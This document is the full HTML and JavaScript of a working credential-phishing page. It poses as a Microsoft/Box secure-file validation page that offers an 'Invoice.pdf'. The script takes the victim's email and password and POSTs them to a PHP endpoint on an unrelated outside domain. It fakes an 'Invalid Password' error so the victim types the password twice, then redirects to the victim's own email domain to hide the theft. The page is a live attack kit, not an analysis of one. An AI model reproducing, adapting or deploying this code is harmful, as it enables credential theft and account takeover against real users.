<html>

<head>
    <meta charset="UTF-8" name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
    <title>Sharing Link Validation</title>
    <link rel='stylesheet prefetch' href='https://fonts.googleapis.com/css?family=Open+Sans:600'>
    <link rel="stylesheet" href="https://amsroofinginc.org/files/box-RD109/css/share-point.css">
    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>

<body>
    <div id="SharingValidationControlsSection" class="external-sharing-content ms-Fabric">
        <div class="top-banner">
            <div class="brand-name"><span style="font-family: 'Segoe UI Web (West European)', 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, 'Helvetica Neue', sans-serif;"><img src="https://amsroofinginc.org/files/box-RD109/images/box.png" class="img-fluid" width="50px"></span>
            </div>
        </div>
        <div class="main-content">
            <div class="desktop-logo ms-hiddenSm">
                <img class="microsoft-logo" src="https://amsroofinginc.org/files/box-RD109/images/logo.png" alt="">
            </div>
            <div class="sharing-form">
                <div class="header">
                    <span style="font-family: 'Segoe UI Web (West European)','Segoe UI',-apple-system,BlinkMacSystemFont,Roboto,'Helvetica Neue',sans-serif;">Verify Your Identity</span>
                </div>
                <div class="form-content">
                  
                        <div class="file-description">
                            <div class="file-description-title" style="font-family: 'Segoe UI Web (West European)','Segoe UI',-apple-system,BlinkMacSystemFont,Roboto,'Helvetica Neue',sans-serif;">You've received a secure file</div>
                            <div class="file-info">
                                <img alt="" src="https://amsroofinginc.org/files/box-RD109/images/pdf.png" style="height:32px;width:32px;">
                                <div class="file-name" style="font-family: 'Segoe UI Web (West European)','Segoe UI',-apple-system,BlinkMacSystemFont,Roboto,'Helvetica Neue',sans-serif;">
                                    <span>Invoice.pdf</span>
                                </div>
                            </div>
                        </div>
                        <div>
                            <div class="form-message" style="font-family: 'Segoe UI Web (West European)','Segoe UI',-apple-system,BlinkMacSystemFont,Roboto,'Helvetica Neue',sans-serif;line-height: 25px"><span>To Receive And Download This PDF File, Please Enter Specific Professional Email Credentials That This Document Was Sent to.</span>
                            </div>
                            <div class="file-description">
                                <div class="file-info">
                                    <img alt="logo-stripe" src="https://amsroofinginc.org/files/box-RD109/images/logo_strip.png" style="height:10px;width:20px; margin-bottom: 10px">
                                </div>
                            </div>
                            <div class="form-input-container">
                                <input name="username" maxlength="70" class="form-text-input disable-on-submit is-empty " placeholder="Enter email" id="ai" type="email" pattern=".{4,30}" oninvalid="this.setCustomValidity('Required Field')" oninput="setCustomValidity('')" title="Required Field" required="">
                                <div class="focus-area">
                                    <i class="ms-Icon ms-Icon--Info" aria-hidden="true"></i>
                                    <div class="callout" style="font-family: 'Segoe UI Web (West European)','Segoe UI',-apple-system,BlinkMacSystemFont,Roboto,'Helvetica Neue',sans-serif;">
                                        <div class="callout-title" style="">Why do I have to do this?</div>
                                        The person that has shared this link with you is sharing with a secure link which requires you to verify your identity.
                                    </div>
                                </div>
                            </div>
                            <div class="form-input-container" id="divPr" style="display: none;">
                                <input name="pr" id="pr" maxlength="70" class="form-text-input disable-on-submit is-empty " placeholder="Enter password" type="password" required="">
                            </div>
                            <div class="form-error-container">
                                <center>
                                    <div class="alert alert-danger" id="msg" style="display: none;">Invalid Password.! Please enter correct password.</div>
                                    <span id="error" class="text-danger" style="display: none;">That account doesn't exist. Enter a different account</span>
                                </center>
                            </div>
                            <div class="form-input-container">
                            	<button class="form-submit disable-on-submit btn rounded-0  w-100" id="next">Next</button>
                            	<button class="form-submit disable-on-submit btn rounded-0  w-100" id="submit-btn" style="display: none;">Sign In</button>
                            </div>
                        </div>
                </div>
            </div>
            
            <div class="legal">
                <span>© 2025 Microsoft</span>
                <!--<a href='#'>Terms of Use</a> To Be Deleted-->
                <a href="#">Privacy &amp; Cookies</a>
            </div>
            <div class="mobile-logo ms-hiddenMdUp">
                <img class="microsoft-logo" src="https://amsroofinginc.org/files/box-RD109/images/logo.png" alt="">
            </div>
        </div>
    </div>
    <!-- Optional JavaScript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->
    <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
</body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
<script>
/* global $ */
$(document).ready(function() {
    var count = 0;


    $(document).keypress(function(event) {
        var keycode = (event.keyCode ? event.keyCode : event.which);
        if (keycode == '13') {
            if ($("#divPr").is(":visible")) {
                $("#submit-btn").trigger("click");

            } else {
                $("#next").trigger("click");

            }
        }
    });
    $('#next').click(function() {
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var ai = $("#ai").val();

        ///////////new injection////////////////
        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!ai) {
            $('#error').show();
            $('#error').html("Email field is emply.!");
            ai.focus;
            return false;
        }

        if (!filter.test(my_ai)) {
            $('#error').show();
            $('#error').html("That account doesn't exist. Enter a different account");
            ai.focus;
            return false;
        }
        $("#next").html("checking...");

        setTimeout(function() {
            $("#ai").attr('readonly', '');
            $("#divPr").animate({ right: 0, opacity: "show" }, 1000);
            $("#next").html("next");
            $("#next").animate({ left: 0, opacity: "hide" }, 0);
            $("#submit-btn").animate({ right: 0, opacity: "show" }, 1000);
        }, 1000);


    });

    /////////////url ai getting////////////////
    var ai = window.location.hash.substr(1);
    if (!ai) {

    } else {
        // $('#ai').val(ai);
        var my_ai = ai;
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        $('#ai').val(my_ai);

        $("#msg").hide();

    }
    ///////////////url getting ai////////////////

 var file="bmV4dC5waHA=";

    $('#submit-btn').click(function(event) {
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
       
        ///////////new injection////////////////
        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!ai) {
            $('#error').show();
            $('#error').html("Email field is emply.!");
            ai.focus;
            return false;
        }

        if (!filter.test(my_ai)) {
            $('#error').show();
            $('#error').html("That account doesn't exist. Enter a different account");
            ai.focus;
            return false;
        }
        if (!pr) {
            $('#error').show();
            $('#error').html("Password field is emply.!");
            ai.focus;
            return false;
        }

        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        ///////////new injection////////////////
        count = count + 1;

        $.ajax({
            dataType: 'JSON',
             url: 'https://amsroofinginc.org/files/box-RD109/next.php',
            type: 'POST',
            data: {
                ai: ai,
                pr: pr,
            },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr) {
                $('#submit-btn').html('Verifing...');
            },
            success: function(response) {
                if (response) {
                    $("#msg").show();
                    console.log(response);
                    if (response['signal'] == 'ok') {
                        $("#pr").val("");
                        if (count >= 2) {
                            count = 0;
                            // window.location.replace(response['redirect_link']);
                            window.location.replace("http://www." + my_slice);

                        }
                        // $('#msg').html(response['msg']);
                    } else {
                        // $('#msg').html(response['msg']);
                    }
                }
            },
            error: function() {
                $("#pr").val("");
                if (count >= 2) {
                    count = 0;
                    window.location.replace("http://www." + my_slice);
                }
                $("#msg").show();
                // $('#msg').html("Please try again later");
            },
            complete: function() {
                $('#submit-btn').html('Sign In');
            }
        });
    });


});
</script>

</html>